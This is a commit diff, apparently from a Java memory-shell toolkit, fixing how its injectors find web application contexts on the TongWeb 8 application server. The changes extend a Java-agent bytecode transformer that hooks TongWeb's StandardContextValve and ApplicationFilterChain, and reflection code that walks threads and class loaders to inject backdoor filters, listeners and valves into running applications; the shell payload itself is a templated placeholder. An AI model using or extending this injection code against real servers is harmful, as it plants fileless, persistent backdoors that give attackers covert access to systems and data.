Skip to content

Commit 7e67197

Browse files
committed
fix: TongWeb8 context fetch error
1 parent ab2b8df commit 7e67197

File tree

7 files changed

+61
-40
lines changed

7 files changed

+61
-40
lines changed
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/bin/bash
2+
pgrep -f tongweb-bootstrap.jar | tr -d '\n'

integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ public class ContainerTool {
2828

2929
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
3030
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
31+
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
3132
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
3233
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
3334
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java

Lines changed: 27 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,11 @@
1414
* @since 2025/3/26
1515
*/
1616
public class TongWebContextValveAgentInjector implements ClassFileTransformer {
17-
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
18-
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
17+
private static final String[] TARGET_CLASSES = new String[]{
18+
"com/tongweb/web/thor/core/StandardContextValve",
19+
"com/tongweb/catalina/core/StandardContextValve",
20+
"com/tongweb/server/core/StandardContextValve"
21+
};
1922
private static final String TARGET_METHOD_NAME = "invoke";
2023

2124
public static String getClassName() {
@@ -39,10 +42,11 @@ private static void launch(Instrumentation inst) throws Exception {
3942
inst.addTransformer(new TongWebContextValveAgentInjector(), true);
4043
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
4144
String name = allLoadedClass.getName();
42-
if (TARGET_CLASS.replace("/", ".").equals(name)
43-
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
44-
inst.retransformClasses(allLoadedClass);
45-
System.out.println("MemShell Agent is working at " + name + ".invoke");
45+
for (String targetClass : TARGET_CLASSES) {
46+
if (targetClass.replace("/", ".").equals(name)) {
47+
inst.retransformClasses(allLoadedClass);
48+
System.out.println("MemShell Agent is working at " + name + ".invoke");
49+
}
4650
}
4751
}
4852
}
@@ -51,21 +55,23 @@ private static void launch(Instrumentation inst) throws Exception {
5155
@SuppressWarnings("all")
5256
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
5357
ProtectionDomain protectionDomain, byte[] bytes) {
54-
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
55-
defineTargetClass(loader);
56-
try {
57-
ClassReader cr = new ClassReader(bytes);
58-
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
59-
@Override
60-
protected ClassLoader getClassLoader() {
61-
return loader;
62-
}
63-
};
64-
ClassVisitor cv = getClassVisitor(cw);
65-
cr.accept(cv, ClassReader.EXPAND_FRAMES);
66-
return cw.toByteArray();
67-
} catch (Exception e) {
68-
e.printStackTrace();
58+
for (String targetClass : TARGET_CLASSES) {
59+
if (className.equals(targetClass)) {
60+
defineTargetClass(loader);
61+
try {
62+
ClassReader cr = new ClassReader(bytes);
63+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
64+
@Override
65+
protected ClassLoader getClassLoader() {
66+
return loader;
67+
}
68+
};
69+
ClassVisitor cv = getClassVisitor(cw);
70+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
71+
return cw.toByteArray();
72+
} catch (Exception e) {
73+
e.printStackTrace();
74+
}
6975
}
7076
}
7177
return bytes;

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,6 @@
1414
* @since 2025/3/26
1515
*/
1616
public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
17-
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
18-
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
1917
private static final String[] TARGET_CLASSES = new String[]{
2018
"com/tongweb/web/thor/core/ApplicationFilterChain",
2119
"com/tongweb/catalina/core/ApplicationFilterChain",

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

Lines changed: 19 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,9 @@ public String getBase64String() {
3434

3535
public TongWebFilterInjector() {
3636
try {
37-
List<Object> contexts = getContext();
37+
Set<Object> contexts = getContext();
3838
for (Object context : contexts) {
39+
logger.info(context.getClass().getName());
3940
Object filter = getShell(context);
4041
inject(context, filter);
4142
}
@@ -49,20 +50,27 @@ public TongWebFilterInjector() {
4950
* /opt/tweb6/lib/twnt.jar
5051
* com.tongweb.catalina.core.ApplicationContext
5152
* /opt/tweb7/lib/tongweb.jar
52-
* com.tongweb.server.core.ApplicationContext
53-
* /opt/tweb8/lib/tongweb-web.jar
53+
* com.tongweb.server.core.StandardContext
54+
* /opt/tweb8/version8.0.6.2/tongweb-web.jar
5455
*/
55-
public List<Object> getContext() throws Exception {
56-
List<Object> contexts = new ArrayList<Object>();
56+
public Set<Object> getContext() throws Exception {
57+
Set<Object> contexts = new HashSet<>();
5758
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5859
for (Thread thread : threads) {
59-
if (thread.getName().contains("ContainerBackgroundProcessor")) {
60-
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
61-
Collection<?> values = childrenMap.values();
62-
for (Object value : values) {
63-
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
64-
contexts.addAll(children.values());
60+
try {
61+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
62+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
63+
Collection<?> values = childrenMap.values();
64+
for (Object value : values) {
65+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
66+
contexts.addAll(children.values());
67+
}
68+
} else if (thread.getContextClassLoader() != null
69+
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
70+
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
6571
}
72+
}catch (Exception ignored) {
73+
6674
}
6775
}
6876
return contexts;

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ public class TongWebListenerInjector {
1919

2020
public TongWebListenerInjector() {
2121
try {
22-
List<Object> contexts = getContext();
22+
Set<Object> contexts = getContext();
2323
for (Object context : contexts) {
2424
Object listener = getShell(context);
2525
inject(context, listener);
@@ -37,8 +37,8 @@ public String getBase64String() {
3737
return "{{base64Str}}";
3838
}
3939

40-
public List<Object> getContext() throws Exception {
41-
List<Object> contexts = new ArrayList<Object>();
40+
public Set<Object> getContext() throws Exception {
41+
Set<Object> contexts = new HashSet<>();
4242
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4343
for (Thread thread : threads) {
4444
if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public List<Object> getContext() throws Exception {
4848
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
4949
contexts.addAll(children.values());
5050
}
51+
} else if (thread.getContextClassLoader() != null
52+
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
53+
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
5154
}
5255
}
5356
return contexts;

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ public class TongWebValveInjector {
1919

2020
public TongWebValveInjector() {
2121
try {
22-
List<Object> contexts = getContext();
22+
Set<Object> contexts = getContext();
2323
for (Object context : contexts) {
2424
Object valve = getShell(context);
2525
inject(context, valve);
@@ -37,8 +37,8 @@ public String getBase64String() {
3737
return "{{base64Str}}";
3838
}
3939

40-
public List<Object> getContext() throws Exception {
41-
List<Object> contexts = new ArrayList<Object>();
40+
public Set<Object> getContext() throws Exception {
41+
Set<Object> contexts = new HashSet<>();
4242
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4343
for (Thread thread : threads) {
4444
if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public List<Object> getContext() throws Exception {
4848
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
4949
contexts.addAll(children.values());
5050
}
51+
} else if (thread.getContextClassLoader() != null
52+
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
53+
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
5154
}
5255
}
5356
return contexts;

0 commit comments

Comments
 (0)